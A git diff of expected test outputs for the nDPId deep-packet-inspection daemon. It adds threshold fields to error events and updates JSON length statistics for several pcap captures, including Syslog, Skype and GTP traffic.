-00411{"packet_event_id":1,"packet_event_name":"packet","packet_id":72,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":1550422840464152,"pkt":"AAAAcxs8EFFy5LtdCABFeABQeDYAAEARfgGRTALsu2A0VQhoCGgAPAAAMv8ALAn8kEMndAAARQAAKFl3QAB\/BgFJrBEkFT++kSvhEwBQ8LOPBjqqtilQEAEBu9EAAA=="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":75,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":106,"expected":110,"global_ts_usec":1550422841387384} -00429{"packet_event_id":1,"packet_event_name":"packet","packet_id":75,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"thread_ts_usec":1550422841366048,"pkt":"AAAAcxs8EFFy5LtdCABFeABcgJcAAEARdZSRTALsu2A0VQhoCGgASAAAMv8AOAn8kEModAAARQAANFl4QAB\/BgE8rBEkFT++kSvhEwBQ8LOPBjqqtimAEAEBiLoAAAEBBQo6qsEZOqrGkQ=="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":76,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":114,"expected":118,"global_ts_usec":1550422841667515} -00437{"packet_event_id":1,"packet_event_name":"packet","packet_id":76,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"thread_ts_usec":1550422841387384,"pkt":"AAAAcxs8EFFy5LtdCABFeABk3UcAAEARGNyRTALsu2A0VQhoCGgAUAAAMv8AQAn8kEMpdAAARQAAPFl5QAB\/BgEzrBEkFT++kSvhEwBQ8LOPBjqqtimgEAEBStoAAAEBBRI6qtGBOqrW+TqqwRk6qsaR"} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":77,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":114,"expected":118,"global_ts_usec":1550422841947169} -00437{"packet_event_id":1,"packet_event_name":"packet","packet_id":77,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":114,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"thread_ts_usec":1550422841667515,"pkt":"AAAAcxs8EFFy5LtdCABFeABkO3EAAEARurKRTALsu2A0VQhoCGgAUAAAMv8AQAn8kEMqdAAARQAAPFl6QAB\/BgEyrBEkFT++kSvhEwBQ8LOPBjqqtimgEAEBRWIAAAEBBRI6qsEZOqrMCTqq0YE6qtb5"} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":78,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422842802966} -00449{"packet_event_id":1,"packet_event_name":"packet","packet_id":78,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"thread_ts_usec":1550422841947169,"pkt":"AAAAcxs8EFFy5LtdCABFeABsXowAAEARl4+RTALsu2A0VQhoCGgAWAAAMv8ASAn8kEMydAAARQAARFmBQAB\/BgEjrBEkFT++kSvhEwBQ8LOPBjqqtinAEAEB0NEAAAEBBRo6quzZOqryUTqqwRk6qswJOqrRgTqq1vk="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":79,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422842862838} -00449{"packet_event_id":1,"packet_event_name":"packet","packet_id":79,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"thread_ts_usec":1550422842802966,"pkt":"AAAAcxs8EFFy5LtdCABFeABsdGMAAEARgbiRTALsu2A0VQhoCGgAWAAAMv8ASAn8kEMzdAAARQAARFmCQAB\/BgEirBEkFT++kSvhEwBQ8LOPBjqqtinAEAEB1kkAAAEBBRo6qudhOqryUTqqwRk6qswJOqrRgTqq1vk="} -00244{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":1,"packet_id":81,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","size":122,"expected":126,"global_ts_usec":1550422844222036} -00449{"packet_event_id":1,"packet_event_name":"packet","packet_id":81,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":122,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":122,"pkt_l4_len":0,"thread_ts_usec":1550422842865363,"pkt":"AAAAcxs8EFFy5LtdCABFeABsUeoAAEARpDGRTALsu2A0VQhoCGgAWAAAMv8ASAn8kEM8dAAARQAARFmLQAB\/BgEZrBEkFT++kSvhEwBQ8LOPBjqqu6HAEAEB0NEAAAEBBRo6qudhOqryUTqqwRk6qswJOqrRgTqq1vk="} 00930{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":82,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","flow_id":1,"flow_state":"finished","flow_src_packets_processed":28,"flow_dst_packets_processed":54,"flow_first_seen":1550422828553466,"flow_src_last_pkt_time":1550422844222036,"flow_dst_last_pkt_time":1550422844224430,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":52,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":88,"flow_dst_max_l4_payload_len":1448,"flow_src_tot_l4_payload_len":2008,"flow_dst_tot_l4_payload_len":72488,"midstream":0,"thread_ts_usec":1550422844224430,"l3_proto":"ip4","src_ip":"145.76.2.236","dst_ip":"187.96.52.85","src_port":2152,"dst_port":2152,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"GTP.GTP_U","proto_id":"152.271","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network"}} -00570{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":82,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","packets-captured":82,"packets-processed":82,"total-skipped-flows":0,"total-l4-payload-len":74496,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":1,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":1,"total-idle-flows":1,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":66,"global_ts_usec":1550422844224430} +00570{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":82,"source":"reasm_segv_anon.pcapng","alias":"nDPId-test","packets-captured":82,"packets-processed":82,"total-skipped-flows":0,"total-l4-payload-len":74496,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":1,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":1,"total-idle-flows":1,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":42,"global_ts_usec":1550422844224430} ~~~~~~~~~~~~~~~~~~~~ SUMMARY ~~~~~~~~~~~~~~~~~~~~ ~~ packets captured/processed: 82/82 ~~ skipped flows.............: 0 @@ -76,6 +52,6 @@ ~~ total memory freed........: 6038155 bytes ~~ total allocations/frees...: 121570/121570 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 247 chars +~~ json string min len.......: 348 chars ~~ json string max len.......: 2145 chars -~~ json string avg len.......: 1195 chars +~~ json string avg len.......: 1245 chars diff --git a/test/results/rsh-syslog-false-positive.pcap.out b/test/results/rsh-syslog-false-positive.pcap.out index 4f18446c8..a1830449f 100644 --- a/test/results/rsh-syslog-false-positive.pcap.out +++ b/test/results/rsh-syslog-false-positive.pcap.out @@ -5,9 +5,9 @@ 00883{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"rsh-syslog-false-positive.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1464076252936094,"flow_src_last_pkt_time":1464076252936094,"flow_dst_last_pkt_time":1464076252936094,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":240,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":240,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":240,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1464076252936094,"l3_proto":"ip4","src_ip":"172.31.78.129","dst_ip":"172.29.43.201","src_port":9039,"dst_port":514,"l4_proto":"tcp","ndpi": {"confidence": {"6":"DPI"},"proto":"Syslog","proto_id":"17","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System"}} 01583{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"rsh-syslog-false-positive.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":2,"flow_src_last_pkt_time":1464076252948094,"flow_dst_last_pkt_time":1464076252936094,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":844,"pkt_type":2048,"pkt_l3_offset":0,"pkt_l4_offset":20,"pkt_len":844,"pkt_l4_len":824,"thread_ts_usec":1464076252948094,"pkt":"RQADTL4fQAA8BqsFrB9OgawdK8kjTwICdUbSxTedTUKAGABzuVAAAAEBCAoozL9lkELg+DwxNjc+MjAxNi0wNS0yNFQwOTo1MDo1Mi45MjY0NzUrMDI6MDAgbGRhcDAxIHNsYXBkWzM0NTM0XTogY29ubj0xMTU5MDIzIG9wPTQ0IFNSQ0ggYXR0cj1vYmplY3RDbGFzcyB1aWQgdXNlclBhc3N3b3JkIHVpZE51bWJlciBnaWROdW1iZXIgZ2Vjb3MgaG9tZURpcmVjdG9yeSBsb2dpblNoZWxsIGtyYlByaW5jaXBhbE5hbWUgY24gbW9kaWZ5VGltZXN0YW1wIG1vZGlmeVRpbWVzdGFtcCBzaGFkb3dMYXN0Q2hhbmdlIHNoYWRvd01pbiBzaGFkb3dNYXggc2hhZG93V2FybmluZyBzaGFkb3dJbmFjdGl2ZSBzaGFkb3dFeHBpcmUgc2hhZG93RmxhZyBrcmJMYXN0UHdkQ2hhbmdlIGtyYlBhc3N3b3JkRXhwaXJhdGlvbiBwd2RBdHRyaWJ1dGUgYXV0aG9yaXplZFNlcnZpY2UgYWNjb3VudEV4cGlyZXMgdXNlckFjY291bnRDb250cm9sIG5zQWNjb3VudExvY2sgaG9zdCBsb2dpbkRpc2FibGVkIGxvZ2luRXhwaXJhdGlvblRpbWUgbG9naW5BbGxvd2VkVGltZU1hcAo8MTY3PjIwMTYtMDUtMjRUMDk6NTA6NTIuOTI2NDgxKzAyOjAwIGxkYXAwMSBzbGFwZFszNDUzNF06IGNvbm49MTE1OTAyMyBvcD00NCBFTlRSWSBkbj0idWlkPXRvb2xib3gsb3U9YWMtYWl4LW1hcnNlaWxsZSxvdT1pbnRlcm5lLG91PXBlb3BsZSxkYz1pbixkYz1waG0sZGM9ZWR1Y2F0aW9uLGRjPWdvdXYsZGM9ZnIiCjwxNjc+MjAxNi0wNS0yNFQwOTo1MDo1Mi45MjY0ODYrMDI6MDAgbGRhcDAxIHNsYXBkWzM0NTM0XTogY29ubj0xMTU5MDIzIG9wPTQ0IFNFQVJDSCBSRVNVTFQgdGFnPTEwMSBlcnI9MCBuZW50cmllcz0xIHRleHQ9Cg=="} 00859{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"rsh-syslog-false-positive.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":3,"flow_src_last_pkt_time":1464076252968094,"flow_dst_last_pkt_time":1464076252936094,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":303,"pkt_type":2048,"pkt_l3_offset":0,"pkt_l4_offset":20,"pkt_len":303,"pkt_l4_len":283,"thread_ts_usec":1464076252968094,"pkt":"RQABL74gQAA8Bq0hrB9OgawdK8kjTwICdUbV3TedTUKAGABzb+4AAAEBCAoozL94kELhBTwxNjc+MjAxNi0wNS0yNFQwOTo1MDo1Mi45NTc4OTUrMDI6MDAgbGRhcDAxIHNsYXBkWzM0NTM0XTogY29ubj0xMTU5MDIzIG9wPTQ1IFNSQ0ggYmFzZT0ib3U9Z3JvdXBlcyxkYz1pbixkYz1waG0sZGM9ZWR1Y2F0aW9uLGRjPWdvdXYsZGM9ZnIiIHNjb3BlPTIgZGVyZWY9MCBmaWx0ZXI9IigmKG1lbWJlclVpZD10b29sYm94KShvYmplY3RDbGFzcz1wb3NpeEdyb3VwKShjbj0qKSgmKGdpZE51bWJlcj0qKSghKGdpZE51bWJlcj0wKSkpKSIK"} -00254{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":12,"packet_id":6,"source":"rsh-syslog-false-positive.pcap","alias":"nDPId-test","size":1010,"expected":1084,"global_ts_usec":1464076253006101} +00354{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":12,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1464076253006101,"packet_id":6,"source":"rsh-syslog-false-positive.pcap","alias":"nDPId-test","size":1010,"expected":1084,"global_ts_usec":1464076253006101} 01640{"packet_event_id":1,"packet_event_name":"packet","packet_id":6,"source":"rsh-syslog-false-positive.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1010,"pkt_type":2048,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1010,"pkt_l4_len":0,"thread_ts_usec":1464076252992093,"pkt":"RQAEPL4jQAA8BqoRrB9OgawdK8kjTwICdUbbRzedTUKAGABzdzIAAAEBCAoozL+dkELhMTwxNjc+MjAxNi0wNS0yNFQwOTo1MDo1Mi45ODc5MjgrMDI6MDAgbGRhcDAxIHNsYXBkWzM0NTM0XTogY29ubj0xMTU5MDIzIG9wPTQ3IFNSQ0ggYmFzZT0ib3U9cGVvcGxlLGRjPWluLGRjPXBobSxkYz1lZHVjYXRpb24sZGM9Z291dixkYz1mciIgc2NvcGU9MiBkZXJlZj0wIGZpbHRlcj0iKCYodWlkPXRvb2xib3gpKG9iamVjdENsYXNzPXBvc2l4QWNjb3VudCkoJih1aWROdW1iZXI9KikoISh1aWROdW1iZXI9MCkpKSkiCjwxNjc+MjAxNi0wNS0yNFQwOTo1MDo1Mi45ODc5NDMrMDI6MDAgbGRhcDAxIHNsYXBkWzM0NTM0XTogY29ubj0xMTU5MDIzIG9wPTQ3IFNSQ0ggYXR0cj1vYmplY3RDbGFzcyB1aWQgdXNlclBhc3N3b3JkIHVpZE51bWJlciBnaWROdW1iZXIgZ2Vjb3MgaG9tZURpcmVjdG9yeSBsb2dpblNoZWxsIGtyYlByaW5jaXBhbE5hbWUgY24gbW9kaWZ5VGltZXN0YW1wIG1vZGlmeVRpbWVzdGFtcCBzaGFkb3dMYXN0Q2hhbmdlIHNoYWRvd01pbiBzaGFkb3dNYXggc2hhZG93V2FybmluZyBzaGFkb3dJbmFjdGl2ZSBzaGFkb3dFeHBpcmUgc2hhZG93RmxhZyBrcmJMYXN0UHdkQ2hhbmdlIGtyYlBhc3N3b3JkRXhwaXJhdGlvbiBwd2RBdHRyaWJ1dGUgYXV0aG9yaXplZFNlcnZpY2UgYWNjb3VudEV4cGlyZXMgdXNlckFjY291bnRDb250cm9sIG5zQWNjb3VudExvY2sgaG9zdCBsb2dpbkRpc2FibGVkIGxvZ2luRXhwaXJhdGlvblRpbWUgbG9naW5BbGxvd2VkVGltZU1hcAo8MTY3PjIwMTYtMDUtMjRUMDk6NTA6NTIuOTg3OTQ5KzAyOjAwIGxkYXAwMSBzbGFwZFszNDUzNF06IGNvbm49MTE1OTAyMyBvcD00NyBFTlRSWSBkbj0idWlkPXRvb2xib3gsb3U9YWMtYWl4LW1hcnNlaWxsZSxvdT1pbnRlcm5lLG91PXBlb3BsZSxkYz1pbixkYz1waG0sZGM9ZWR1Y2F0aW9uLGRjPWdvdXYsZGM9ZnIiCjwxNjc+MjAxNi0wNS0yNFQwOTo1MDo1Mi45ODc5NTMrMDI6MDAgbGRhcDAxIHNsYXA="} -00254{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":12,"packet_id":7,"source":"rsh-syslog-false-positive.pcap","alias":"nDPId-test","size":1010,"expected":1400,"global_ts_usec":1464076253008101} +00354{"error_event_id":15,"error_event_name":"Captured packet size is smaller than expected packet size","datalink":12,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1464076253008101,"packet_id":7,"source":"rsh-syslog-false-positive.pcap","alias":"nDPId-test","size":1010,"expected":1400,"global_ts_usec":1464076253008101} 01640{"packet_event_id":1,"packet_event_name":"packet","packet_id":7,"source":"rsh-syslog-false-positive.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":1010,"pkt_type":2048,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1010,"pkt_l4_len":0,"thread_ts_usec":1464076253006101,"pkt":"RQAFeL4kQAA8BqjUrB9OgawdK8kjTwICdUbfTzedTUKAEABzI2UAAAEBCAoozL+fkELhMTwxNjc+MjAxNi0wNS0yNFQwOTo1MDo1Mi45OTYwNzYrMDI6MDAgbGRhcDAxIHNsYXBkWzM0NTM0XTogY29ubj0xMTU5MDIzIG9wPTQ4IFNSQ0ggYmFzZT0ib3U9Z3JvdXBlcyxkYz1pbixkYz1waG0sZGM9ZWR1Y2F0aW9uLGRjPWdvdXYsZGM9ZnIiIHNjb3BlPTIgZGVyZWY9MCBmaWx0ZXI9IigmKG1lbWJlclVpZD10b29sYm94KShvYmplY3RDbGFzcz1wb3NpeEdyb3VwKShjbj0qKSgmKGdpZE51bWJlcj0qKSghKGdpZE51bWJlcj0wKSkpKSIKPDE2Nz4yMDE2LTA1LTI0VDA5OjUwOjUyLjk5NjA5MSswMjowMCBsZGFwMDEgc2xhcGRbMzQ1MzRdOiBjb25uPTExNTkwMjMgb3A9NDggU1JDSCBhdHRyPW9iamVjdENsYXNzIGNuIHVzZXJQYXNzd29yZCBnaWROdW1iZXIgbW9kaWZ5VGltZXN0YW1wIG1vZGlmeVRpbWVzdGFtcAo8MTY3PjIwMTYtMDUtMjRUMDk6NTA6NTIuOTk2MDk2KzAyOjAwIGxkYXAwMSBzbGFwZFszNDUzNF06IGNvbm49MTE1OTAyMyBvcD00OCBFTlRSWSBkbj0iY249aW50c2lyLWFkbWlucyxvdT1ncm91cGVzLGRjPWluLGRjPXBobSxkYz1lZHVjYXRpb24sZGM9Z291dixkYz1mciIKPDE2Nz4yMDE2LTA1LTI0VDA5OjUwOjUyLjk5NjEwMSswMjowMCBsZGFwMDEgc2xhcGRbMzQ1MzRdOiBjb25uPTExNTkwMjMgb3A9NDggU0VBUkNIIFJFU1VMVCB0YWc9MTAxIGVycj0wIG5lbnRyaWVzPTEgdGV4dD0KPDE2Nz4yMDE2LTA1LTI0VDA5OjUwOjUyLjk5NzMzMCswMjowMCBsZGFwMDEgc2xhcGRbMzQ1MzRdOiBjb25uPTExNTkwMjMgb3A9NDkgU1JDSCBiYXNlPSJvdT1ncm91cGVzLGRjPWluLGRjPXBobSxkYz1lZHVjYXRpb24sZGM9Z291dixkYz1mciIgc2NvcGU9MiBkZXJlZj0wIGZpbHRlcj0iKCYoZ2lkTnVtYmVyPTYwMDAxKShvYmplY3RDbGFzcz1wb3NpeEdyb3VwKShjbj0qKSgmKGdpZE51bWJlcj0qKSghKGdpZE51bWJlcj0wKSkpKSIKPDE2Nz4yMDE2LTA1LTI0VDA5OjU="} 00924{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":8,"source":"rsh-syslog-false-positive.pcap","alias":"nDPId-test","flow_id":1,"flow_state":"finished","flow_src_packets_processed":8,"flow_dst_packets_processed":0,"flow_first_seen":1464076252936094,"flow_src_last_pkt_time":1464076253018101,"flow_dst_last_pkt_time":1464076252936094,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":240,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":958,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":4939,"flow_dst_tot_l4_payload_len":0,"midstream":1,"thread_ts_usec":1464076253018101,"l3_proto":"ip4","src_ip":"172.31.78.129","dst_ip":"172.29.43.201","src_port":9039,"dst_port":514,"l4_proto":"tcp","flow_datalink":12,"flow_max_packets":3,"ndpi": {"confidence": {"6":"DPI"},"proto":"Syslog","proto_id":"17","encrypted":0,"breed":"Acceptable","category_id":18,"category":"System"}} 00574{"daemon_event_id":3,"daemon_event_name":"shutdown","thread_id":0,"packet_id":8,"source":"rsh-syslog-false-positive.pcap","alias":"nDPId-test","packets-captured":8,"packets-processed":8,"total-skipped-flows":0,"total-l4-payload-len":4939,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":1,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":1,"total-idle-flows":1,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":13,"global_ts_usec":1464076253018101} @@ -23,6 +23,6 @@ ~~ total memory freed........: 6036009 bytes ~~ total allocations/frees...: 121496/121496 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 259 chars +~~ json string min len.......: 359 chars ~~ json string max len.......: 1645 chars -~~ json string avg len.......: 951 chars +~~ json string avg len.......: 1000 chars diff --git a/test/results/skype_no_unknown.pcap.out b/test/results/skype_no_unknown.pcap.out index b7b839522..3faba0d10 100644 --- a/test/results/skype_no_unknown.pcap.out +++ b/test/results/skype_no_unknown.pcap.out @@ -504,7 +504,7 @@ 00770{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":895,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":145,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1431970665893094,"flow_src_last_pkt_time":1431970665893094,"flow_dst_last_pkt_time":1431970665893094,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":33,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":33,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":33,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1431970665893094,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.148","src_port":13021,"dst_port":40033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00550{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":895,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":145,"flow_packet_id":1,"flow_src_last_pkt_time":1431970665893094,"flow_dst_last_pkt_time":1431970665893094,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"thread_ts_usec":1431970665893094,"pkt":"0NQSxnP1PBXCt3IOCABFAAA9lmMAAEARmbbAqAEinTfrlDLdnGEAKXtSe2sCw7Vy\/6hHK2XTagfLmixWAHOAd\/loE1p\/EyV7QPa1"} 00900{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":895,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":145,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1431970665893094,"flow_src_last_pkt_time":1431970665893094,"flow_dst_last_pkt_time":1431970665893094,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":33,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":33,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":33,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1431970665893094,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.148","src_port":13021,"dst_port":40033,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"Skype_Teams.Skype_TeamsCall","proto_id":"125.38","encrypted":1,"breed":"Acceptable","category_id":10,"category":"VoIP"}} -00195{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"packet_id":897,"source":"skype_no_unknown.pcap","alias":"nDPId-test","layer_type":94,"global_ts_usec":1431970666370007} +00295{"error_event_id":5,"error_event_name":"Unknown packet type","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1431970666370007,"packet_id":897,"source":"skype_no_unknown.pcap","alias":"nDPId-test","layer_type":94,"global_ts_usec":1431970666370007} 00420{"packet_event_id":1,"packet_event_name":"packet","packet_id":897,"source":"skype_no_unknown.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":100,"pkt_type":94,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":100,"pkt_l4_len":0,"thread_ts_usec":1431970666274816,"pkt":"AQAMzMzMJKQ8\/kzXAF6qqgMAAAwgAAF4S2kAAQAOQWlyR2F0ZXdheQACABEAAAABAQHMAATAqAHbAAQACAAAAAIABQAQQWlyR1cudjEuMC4zAAYAB0FHVwADAAdicjAA\/wAFLg=="} 00768{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":899,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":146,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1431970666902808,"flow_src_last_pkt_time":1431970666902808,"flow_dst_last_pkt_time":1431970666902808,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1431970666902808,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.142","src_port":51255,"dst_port":40005,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00554{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":899,"source":"skype_no_unknown.pcap","alias":"nDPId-test","flow_id":146,"flow_packet_id":1,"flow_src_last_pkt_time":1431970666902808,"flow_dst_last_pkt_time":1431970666902808,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"thread_ts_usec":1431970666902808,"pkt":"0NQSxnP1PBXCt3IOCABFAABAb9VAAEAG6VLAqAEinTeCjsg3nEXoG0e9AAAAALAC\/\/9+tAAAAgQFtAEDAwUBAQgKPjIEMAAAAAAEAgAA"} @@ -1398,6 +1398,6 @@ ~~ total memory freed........: 6743370 bytes ~~ total allocations/frees...: 126585/126585 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 200 chars +~~ json string min len.......: 300 chars ~~ json string max len.......: 2283 chars -~~ json string avg len.......: 1241 chars +~~ json string avg len.......: 1291 chars diff --git a/test/results/someip_sd_sample.pcap.out b/test/results/someip_sd_sample.pcap.out index 30dda653e..c97dc9016 100644 --- a/test/results/someip_sd_sample.pcap.out +++ b/test/results/someip_sd_sample.pcap.out @@ -1,16 +1,16 @@ 00496{"daemon_event_id":1,"daemon_event_name":"init","thread_id":0,"packet_id":0,"source":"someip_sd_sample.pcap","alias":"nDPId-test","max-flows-per-thread":2048,"max-idle-flows-per-thread":64,"reader-thread-count":1,"flow-scan-interval":10000000,"generic-max-idle-time":600000000,"icmp-max-idle-time":120000000,"udp-max-idle-time":180000000,"tcp-max-idle-time":3265032704,"max-packets-per-flow-to-send":3,"max-packets-per-flow-to-process":32,"max-packets-per-flow-to-analyse":32,"global_ts_usec":0} 00559{"daemon_event_id":4,"daemon_event_name":"status","thread_id":0,"packet_id":1,"source":"someip_sd_sample.pcap","alias":"nDPId-test","packets-captured":1,"packets-processed":0,"total-skipped-flows":0,"total-l4-payload-len":0,"total-not-detected-flows":0,"total-guessed-flows":0,"total-detected-flows":0,"total-detection-updates":0,"total-updates":0,"current-active-flows":0,"total-active-flows":0,"total-idle-flows":0,"total-compressions":0,"total-compression-diff":0,"current-compression-diff":0,"total-events-serialized":2,"global_ts_usec":1559741544964106} -00207{"error_event_id":1,"error_event_name":"Unknown datalink layer packet","datalink":192,"packet_id":1,"source":"someip_sd_sample.pcap","alias":"nDPId-test","layer_type":4096,"global_ts_usec":1559741544964106} +00307{"error_event_id":1,"error_event_name":"Unknown datalink layer packet","datalink":192,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1559741544964106,"packet_id":1,"source":"someip_sd_sample.pcap","alias":"nDPId-test","layer_type":4096,"global_ts_usec":1559741544964106} 